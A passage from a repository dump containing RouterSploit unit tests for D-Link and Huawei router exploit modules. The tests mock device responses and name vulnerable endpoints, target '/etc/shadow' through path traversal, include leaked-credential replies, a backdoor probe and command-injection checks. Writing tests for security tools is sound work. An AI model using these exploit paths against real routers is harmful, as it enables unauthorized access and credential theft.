    "content": "from unittest import mock\nfrom routersploit.modules.exploits.routers.dlink.dir_300_645_815_upnp_rce import Exploit\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.dlink.dir_300_645_815_upnp_rce.shell\")\ndef test_check_success(mocked_shell, udp_target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    request = (\n        b\"M-SEARCH * HTTP/1.1\\r\\n\"\n        b\"Host:239.255.255.250:1900\\r\\n\"\n        b\"ST:upnp:rootdevice\\r\\n\"\n        b\"Man:\\\"ssdp:discover\\\"\\r\\n\"\n        b\"MX:2\\r\\n\\r\\n\"\n    )\n\n    command_mock = udp_target.get_command_mock(request)\n    command_mock.return_value = b\"Linux, UPnP/1.0, DIR-1234\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 1900\n\n    exploit.target = udp_target.host\n    exploit.port = udp_target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/dlink/test_dir_645_815_rce.py",
    "content": "from unittest import mock\nfrom routersploit.modules.exploits.routers.dlink.dir_645_815_rce import Exploit\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.dlink.dir_645_815_rce.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/diagnostic.php\", methods=[\"POST\"])\n    route_mock.return_value = (\n        \"<report>OK</report>\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/dlink/test_dir_645_password_disclosure.py",
    "content": "from routersploit.modules.exploits.routers.dlink.dir_645_password_disclosure import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/getcfg.php\", methods=[\"POST\"])\n    route_mock.return_value = (\n        \"\"\"\n        <?xml version=\"1.0\" encoding=\"utf-8\"?>\n        <postxml>\n        <module>\n            <service>DEVICE.ACCOUNT</service>\n            <device>\n                <gw_name>DIR-645</gw_name>\n\n                <account>\n                    <seqno>2</seqno>\n                    <max>2</max>\n                    <count>2</count>\n                    <entry>\n                        <uid>USR-</uid>\n                        <name>admin</name>\n                        <usrid></usrid>\n                        <password>0920983386</password>\n                        <group>0</group>\n                        <description></description>\n                    </entry>\n                    <entry>\n                        <uid>USR-1</uid>\n                        <name>user</name>\n                        <usrid></usrid>\n                        <password>3616441</password>\n                        <group>101</group>\n                        <description></description>\n                    </entry>\n                </account>\n                <group>\n                    <seqno></seqno>\n                    <max></max>\n                    <count>0</count>\n                </group>\n                <session>\n                    <captcha>0</captcha>\n                    <dummy></dummy>\n                    <timeout>600</timeout>\n                    <maxsession>128</maxsession>\n                    <maxauthorized>16</maxauthorized>\n                </session>\n            </device>\n        </module>\n        </postxml>\n        \"\"\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 8080\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/dlink/test_dir_655_866_652_rce.py",
    "content": "from unittest import mock\nfrom flask import request\nfrom routersploit.modules.exploits.routers.dlink.dir_655_866_652_rce import Exploit\n\n\ndef apply_response(*args, **kwargs):\n    data = \"TEST\" + request.form['ping_ipaddr'] + \"TEST\"\n    print(request.form['ping_ipaddr'])\n    return data, 200\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.dlink.dir_655_866_652_rce.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/apply_sec.cgi\", methods=[\"POST\"])\n    route_mock.side_effect = apply_response\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/dlink/test_dir_815_850l_rce.py",
    "content": "from unittest import mock\nfrom routersploit.modules.exploits.routers.dlink.dir_815_850l_rce import Exploit\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.dlink.dir_815_850l_rce.shell\")\ndef test_check_success(mocked_shell, udp_target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 1900\n\n    exploit.target = udp_target.host\n    exploit.port = udp_target.port\n\n    assert exploit.check() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/dlink/test_dir_825_path_traversal.py",
    "content": "from routersploit.modules.exploits.routers.dlink.dir_825_path_traversal import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/apply.cgi\", methods=[\"POST\"])\n    route_mock.return_value = (\n        \"root:x:0:0:root:/root:/bin/bash\"\n        \"daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\"\n        \"bin:x:2:2:bin:/bin:/usr/sbin/nologin\"\n        \"sys:x:3:3:sys:/dev:/usr/sbin/nologin\"\n        \"sync:x:4:65534:sync:/bin:/bin/sync\"\n        \"games:x:5:60:games:/usr/games:/usr/sbin/nologin\"\n        \"man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\"\n        \"lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\"\n        \"mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\"\n        \"news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\"\n        \"uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\"\n        \"proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\"\n        \"www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\"\n        \"backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.filename == \"/etc/shadow\"\n    assert exploit.username == \"admin\"\n    assert exploit.password == \"\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/dlink/test_dir_850l_creds_disclosure.py",
    "content": "from routersploit.modules.exploits.routers.dlink.dir_850l_creds_disclosure import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    cgi_mock = target.get_route_mock(\"/hedwig.cgi\", methods=[\"POST\"])\n    cgi_mock.return_value = (\n        \"<module>\"\n        \"<service></service>\"\n        \"<device>\"\n        \"<gw_name>DIR-850L</gw_name>\"\n        \"<account>\"\n        \"<seqno>1</seqno>\"\n        \"    <max>2</max>\"\n        \"    <count>1</count>\"\n        \"    <entry>\"\n        \"    <uid>USR-</uid>\"\n        \"    <name>Admin</name>\"\n        \"    <usrid></usrid>\"\n        \"    <password>92830535</password>\"\n        \"    <group>0</group>\"\n        \"    <description></description>\"\n        \"    </entry>\"\n        \"    </account>\"\n        \"    <group>\"\n        \"    <seqno></seqno>\"\n        \"    <max></max>\"\n        \"    <count>0</count>\"\n        \"    </group>\"\n        \"    <session>\"\n        \"    <captcha>0</captcha>\"\n        \"    <dummy></dummy>\"\n        \"    <timeout>180</timeout>\"\n        \"    <maxsession>128</maxsession>\"\n        \"    <maxauthorized>16</maxauthorized>\"\n        \"    </session>\"\n        \"    </device>\"\n        \"    </module>\"\n        \"    <?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\"?>\"\n        \"    <hedwig>\"\n        \"    <result>OK</result>\"\n        \"    <node></node>\"\n        \"    <message>No modules for Hedwig</message>\"\n        \"    </hedwig>\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/dlink/test_dir_8xx_password_disclosure.py",
    "content": "from flask import request\nfrom routersploit.modules.exploits.routers.dlink.dir_8xx_password_disclosure import Exploit\n\n\ndef apply_response():\n    if \"A\" not in request.args.keys():\n        response = \"\"\"\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<postxml>\n    <result>FAILED</result>\n    <message>Not authorized</message>\n</postxml>\n    \"\"\"\n    else:\n        response = \"\"\"\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<postxml>\n<module>\n    <service>DEVICE.ACCOUNT</service>\n    <device>\n        <account>\n            <seqno></seqno>\n            <max>2</max>\n            <count>1</count>\n            <entry>\n                <uid></uid>\n                <name>Admin</name>\n                <usrid></usrid>\n                <password>RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR</password>\n                <group>0</group>\n                <description></description>\n            </entry>\n        </account>\n        <group>\n            <seqno></seqno>\n            <max></max>\n            <count>0</count>\n        </group>\n        <session>\n            <captcha>0</captcha>\n            <dummy></dummy>\n            <timeout>300</timeout>\n            <maxsession>128</maxsession>\n            <maxauthorized>16</maxauthorized>\n        </session>\n    </device>\n</module>\n</postxml>\n\"\"\"\n    return response, 200\n\n\ndef test_exploit_success(target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    cgi_mock = target.get_route_mock(\"/getcfg.php\", methods=[\"GET\", \"POST\"])\n    cgi_mock.side_effect = apply_response\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/dlink/test_dns_320l_327l_rce.py",
    "content": "from unittest import mock\nimport re\nfrom flask import request\nfrom routersploit.modules.exploits.routers.dlink.dns_320l_327l_rce import Exploit\n\n\ndef apply_response(*args, **kwargs):\n    inj = request.args[\"f_gaccount\"]\n    res = re.findall(r\"\\$\\(\\((.*-1)\\)\\)\", inj)\n    data = \"TEST\"\n    if res:\n        solution = eval(res[0], {'__builtins__': None})\n        data += str(solution)\n\n    return data, 200\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.dlink.dns_320l_327l_rce.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/cgi-bin/gdrive.cgi\", methods=[\"GET\"])\n    route_mock.side_effect = apply_response\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/dlink/test_dsl_2730_2750_path_traversal.py",
    "content": "from routersploit.modules.exploits.routers.dlink.dsl_2730_2750_path_traversal import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/cgi-bin/webproc\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"root:x:0:0:root:/root:/bin/bash\"\n        \"daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\"\n        \"bin:x:2:2:bin:/bin:/usr/sbin/nologin\"\n        \"sys:x:3:3:sys:/dev:/usr/sbin/nologin\"\n        \"sync:x:4:65534:sync:/bin:/bin/sync\"\n        \"games:x:5:60:games:/usr/games:/usr/sbin/nologin\"\n        \"man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\"\n        \"lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\"\n        \"mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\"\n        \"news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\"\n        \"uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\"\n        \"proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\"\n        \"www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\"\n        \"backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n    exploit.filename == \"/etc/shadow\"\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/dlink/test_dsl_2730b_2780b_526b_dns_change.py",
    "content": "from routersploit.modules.exploits.routers.dlink.dsl_2730b_2780b_526b_dns_change import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    route_mock = target.get_route_mock(\"/dnscfg.cgi\", methods=[\"POST\"])\n    route_mock.return_value = (\n        \"TEST\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.dns1 == \"8.8.8.8\"\n    assert exploit.dns2 == \"8.8.4.4\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/dlink/test_dsl_2750b_info_disclosure.py",
    "content": "from routersploit.modules.exploits.routers.dlink.dsl_2750b_info_disclosure import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    cgi_mock = target.get_route_mock(\"/hidden_info.html\", methods=[\"GET\"])\n    cgi_mock.return_value = (\n        \"TEST\"\n        \"PassPhrase\"\n        \"TEST\"\n        \"SSID\"\n        \"TEST\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/dlink/test_dsl_2750b_rce.py",
    "content": "from unittest import mock\nfrom routersploit.modules.exploits.routers.dlink.dsl_2750b_rce import Exploit\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.dlink.dsl_2750b_rce.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    route_mock1 = target.get_route_mock(\"/login.cgi\", methods=[\"GET\"])\n    route_mock1.return_value = (\n        \"TEST\"\n    )\n\n    route_mock2 = target.get_route_mock(\"/ayefeaturesconvert.js\", methods=[\"GET\"])\n    route_mock2.return_value = (\n        \"\"\"\n        (..)\n        var AYECOM_PRIVATE=\"private\";\n        var AYECOM_AREA=\"EU\";\n        var AYECOM_FWVER=\"1.01\";\n        var AYECOM_HWVER=\"D1\";\n        var AYECOM_PRIVATEDIR=\"private\";\n        var AYECOM_PROFILE=\"DSL-2750B\";\n        var FIRST_HTML=\"\";\n        var BUILD_GUI_VERSIOIN_EU=\"y\";\n        // BUILD_GUI_VERSIOIN_AU is not s\n        (..)\n        \"\"\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/dlink/test_dsp_w110_rce.py",
    "content": "from unittest import mock\nfrom flask import Response\nfrom routersploit.modules.exploits.routers.dlink.dsp_w110_rce import Exploit\n\n\ndef apply_response(*args, **kwargs):\n    resp = Response(\"Test\")\n    resp.headers['Server'] = 'lighttpd/1.4.34'\n    return resp\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.dlink.dsp_w110_rce.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/\", methods=[\"GET\"])\n    route_mock.side_effect = apply_response\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/dlink/test_dvg_n5402sp_path_traversal.py",
    "content": "from routersploit.modules.exploits.routers.dlink.dvg_n5402sp_path_traversal import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/cgi-bin/webproc\", methods=[\"POST\"])\n    route_mock.return_value = (\n        \"root:x:0:0:root:/root:/bin/bash\"\n        \"daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\"\n        \"bin:x:2:2:bin:/bin:/usr/sbin/nologin\"\n        \"sys:x:3:3:sys:/dev:/usr/sbin/nologin\"\n        \"sync:x:4:65534:sync:/bin:/bin/sync\"\n        \"games:x:5:60:games:/usr/games:/usr/sbin/nologin\"\n        \"man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\"\n        \"lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\"\n        \"mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\"\n        \"news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\"\n        \"uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\"\n        \"proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\"\n        \"www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\"\n        \"backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 8080\n    assert exploit.filename == \"/etc/shadow\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/dlink/test_dwl_3200ap_password_disclosure.py",
    "content": "from routersploit.modules.exploits.routers.dlink.dwl_3200ap_password_disclosure import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"TEST\"\n        \"RpWebID=a3b21ada\\n\"\n        \"TEST\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.seconds == 3600\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/dlink/test_dwr_932_info_disclosure.py",
    "content": "from routersploit.modules.exploits.routers.dlink.dwr_932_info_disclosure import Exploit\n\n\ndef test_exploit_success(target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    route_mock = target.get_route_mock(\"/cgi-bin/dget.cgi\", methods=[\"GET\"])\n    route_mock.return_value = (\n        '{ \"wifi_AP1_ssid\": \"dlink-DWR-932\", \"wifi_AP1_hidden\": \"0\", \"wifi_AP1_passphrase\": \"MyPaSsPhRaSe\", \"wifi_AP1_passphrase_wep\": \"\", \"wifi_AP1_security_mode\": \"3208,8\", \"wifi_AP1_enable\": \"1\", \"get_mac_filter_list\": \"\", \"get_mac_filter_switch\": \"0\", \"get_client_list\": \"9c:00:97:00:a3:b3,192.168.0.45,IT-PCs,0>40:b8:00:ab:b8:8c,192.168.0.43,android-b2e363e04fb0680d,0\", \"get_mac_address\": \"c4:00:f5:00:ec:40\", \"get_wps_dev_pin\": \"\", \"get_wps_mode\": \"0\", \"get_wps_enable\": \"0\", \"get_wps_current_time\": \"\" }'\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/dlink/test_dwr_932b_backdoor.py",
    "content": "from unittest import mock\nfrom routersploit.modules.exploits.routers.dlink.dwr_932b_backdoor import Exploit\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.dlink.dwr_932b_backdoor.shell\")\ndef test_check_success(mocked_shell, udp_target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    command_mock = udp_target.get_command_mock(b\"HELODBG\")\n    command_mock.return_value = b\"TEST Hello TEST\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 39889\n\n    exploit.target = udp_target.host\n    exploit.port = udp_target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/dlink/test_multi_hedwig_cgi_exec.py",
    "content": "from unittest import mock\nfrom flask import request\nfrom routersploit.modules.exploits.routers.dlink.multi_hedwig_cgi_exec import Exploit\n\n\ndef apply_response(*args, **kwargs):\n    res = request.headers[\"Cookie\"]\n    data = \"TEST\" + res\n\n    return data, 200\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.dlink.multi_hedwig_cgi_exec.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    cgi_mock = target.get_route_mock(\"/hedwig.cgi\", methods=[\"POST\"])\n    cgi_mock.side_effect = apply_response\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/dlink/test_multi_hnap_rce.py",
    "content": "from unittest import mock\nfrom routersploit.modules.exploits.routers.dlink.multi_hnap_rce import Exploit\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.dlink.multi_hnap_rce.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/HNAP1/\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"TEST\"\n        \"SOAPActions\"\n        \"TEST\"\n        \"D-Link\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/huawei/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/routers/huawei/test_e5331_mifi_info_disclosure.py",
    "content": "from routersploit.modules.exploits.routers.huawei.e5331_mifi_info_disclosure import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/api/wlan/security-settings\", methods=[\"GET\"])\n    route_mock.return_value = (\n        '<?xml version=\"1.0\" encoding=\"UTF-8\"?>'\n        '<response>'\n        '<WifiAuthmode>WPA2-PSK</WifiAuthmode>'\n        '<WifiBasicencryptionmodes>NONE</WifiBasicencryptionmodes>'\n        '<WifiWpaencryptionmodes>AES</WifiWpaencryptionmodes>'\n        '<WifiWepKey1>12345</WifiWepKey1>'\n        '<WifiWepKey2>12345</WifiWepKey2>'\n        '<WifiWepKey3>12345</WifiWepKey3>'\n        '<WifiWepKey4>12345</WifiWepKey4>'\n        '<WifiWepKeyIndex>1</WifiWepKeyIndex>'\n        '<WifiWpapsk>XXXXX</WifiWpapsk>'\n        '<WifiWpsenbl>0</WifiWpsenbl>'\n        '<WifiWpscfg>1</WifiWpscfg>'\n        '<WifiRestart>1</WifiRestart>'\n        '</response>'\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/huawei/test_hg520_info_disclosure.py",
    "content": "from routersploit.modules.exploits.routers.huawei.hg520_info_disclosure import Exploit\n\n\ndef test_check_success(udp_target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    request = (\n        b\"\\x00\\x01\\x00\\x00\\x0e\\x00\\xeb\\x03\\x7f\\x0a\\x5f\\x00\\x10\\x00\\x02\\x00\\x13\\x00\\x00\\x00\\x50\\x02\\x00\\x00\\xe0\\xf4\\x12\\x00\\xb0\\xaa\\x19\\x00\"\n        b\"\\x18\\x87\\x15\\x00\\x84\\xfb\\x12\\x00\\x00\\x00\\x00\\x00\\x78\\x76\\x4b\\x02\\xa8\\x87\\xec\\x01\\x00\\x00\\x00\\x00\\x38\\x12\\x19\\x00\\x10\\xf5\\x12\\x00\"\n        b\"\\x32\\x00\\x00\\x00\\x34\\x60\\x5d\\x77\\x00\\x00\\x00\\x00\\x84\\xfb\\x12\\x00\\x01\\x00\\x00\\x00\\xb8\\x88\\x24\\x00\\xf8\\x8f\\x19\\x00\\x0d\\x00\\x00\\x00\"\n        b\"\\x18\\x94\\x19\\x00\\xf8\\x98\\x19\\x00\\x74\\xf4\\x12\\x00\\x84\\xf6\\x12\\x00\\x4c\\xf7\\x12\\x00\\x00\\xe9\\x91\\x7c\\x10\\x6f\\x94\\x7c\\x00\\x00\\xff\\xff\"\n        b\"\\xae\\x2c\\x92\\x7c\\xe4\\x2c\\x92\\x7c\\x51\\x2d\\x92\\x7c\\x58\\x2d\\x92\\x7c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf8\\xf7\\x12\\x00\"\n        b\"\\x44\\xf5\\x12\\x00\\xb0\\x65\\x92\\x7c\\xf8\\xf7\\x12\\x00\\x00\\xe9\\x91\\x7c\\x60\\x2d\\x92\\x7c\\xff\\xff\\xff\\xff\\x58\\x2d\\x92\\x7c\\x12\\x66\\x92\\x7c\"\n        b\"\\x01\\x00\\x00\\x00\\x76\\x02\\x48\\x0d\\xee\\x64\\x92\\x7c\\x00\\x00\\x00\\x00\\x9c\\x70\\x40\\x00\\x00\\x00\\x00\\x00\\x34\\x60\\x5d\\x77\\x30\\x28\\x1f\\x00\"\n        b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x70\\x2f\\x15\\x00\\x78\\x01\\x15\\x00\\x00\\x00\\x00\\x00\\x78\\x2f\\x15\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n        b\"\\x00\\x00\\x00\\x00\\x54\\xf8\\x12\\x00\\xa8\\x87\\xec\\x01\\x50\\xf8\\x12\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x76\\x02\\x48\\x0d\\x00\\x00\\x08\\x02\"\n        b\"\\xe4\\xf5\\x12\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x34\\xf8\\x12\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n        b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x00\\x00\\x00\\x00\"\n        b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x5c\\xf6\\x12\\x00\\x0d\\x00\\x00\\x00\\xa2\\x6f\\x94\\x7c\\xf8\\x98\\x19\\x00\\x78\\x76\\x4b\\x02\\xd8\\x93\\x19\\x00\"\n        b\"\\x60\\x90\\x19\\x00\\x0d\\x00\\x00\\x00\\xf8\\x8f\\x19\\x00\\x84\\xfb\\x12\\x00\\x28\\xf6\\x12\\x00\\x30\\xd4\\x4c\\x77\\x48\\xf7\\x12\\x00\\x00\\xe9\\x91\\x7c\"\n        b\"\\x94\\xf6\\x12\\x00\\x94\\xf6\\x12\\x00\\xd8\\x93\\x19\\x00\\xec\\x73\\x94\\x7c\\x70\\xe3\\x4b\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x00\\x00\\x00\\x00\"\n        b\"\\x00\\x00\\x00\\x00\\x0f\\x00\\x41\\x00\\x13\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xf8\\x98\\x19\\x00\\xb4\\xf9\\x12\\x00\\xf8\\x8f\\x19\\x00\"\n        b\"\\x58\\xf7\\x12\\x00\\x3d\\x00\\x92\\x7c\\xf6\\x89\\xec\\x01\\x00\\x00\\x00\\x00\\xe8\\x06\\x02\\x00\\x54\\xfc\\x12\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\"\n        b\"\\x00\\x00\\x00\\x00\\x12\\xe1\\xf8\\x09\\x7d\\x0b\\x00\\x00\\x72\\xab\\x56\\x48\\x3f\\xe1\\xbe\\x07\\x15\\x04\\x92\\x7c\\x1e\\x04\\x92\\x7c\\x00\\x00\\x00\\x00\"\n        b\"\\x00\\x00\\x00\\x00\\x00\\xe0\\xfd\\x7f\\xeb\\x50\\xd7\\xc6\\x1a\\x00\\x00\\x00\\x00\\xe0\\xfd\\x7f\\x00\\x10\\x91\\x7c\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\"\n        b\"\\x00\\xe0\\xfd\\x7f\\x5c\\xf7\\x12\\x00\\xe6\\x45\\x92\\x7c\\x40\\x04\\x92\\x7c\\x00\\xd6\\x98\\x7c\\x48\\xf7\\x12\\x00\\x40\\x12\\x19\\x00\\x8a\\x74\\x94\\x7c\"\n        b\"\\x2c\\xf7\\x12\\x00\\xa8\\x87\\xec\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x0e\\x00\\xeb\\x03\\x80\\x0a\\x5f\\x00\\x64\\x46\\x00\\x10\\xfe\\xf7\\x12\\x00\"\n        b\"\\xb0\\x44\\x00\\x10\\x04\\x00\\x00\\x00\\x8c\\xf7\\x12\\x00\\xd3\\x7e\\x92\\x7c\\xfe\\xf7\\x12\\x00\\x31\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\xa0\\x45\\x00\\x10\"\n        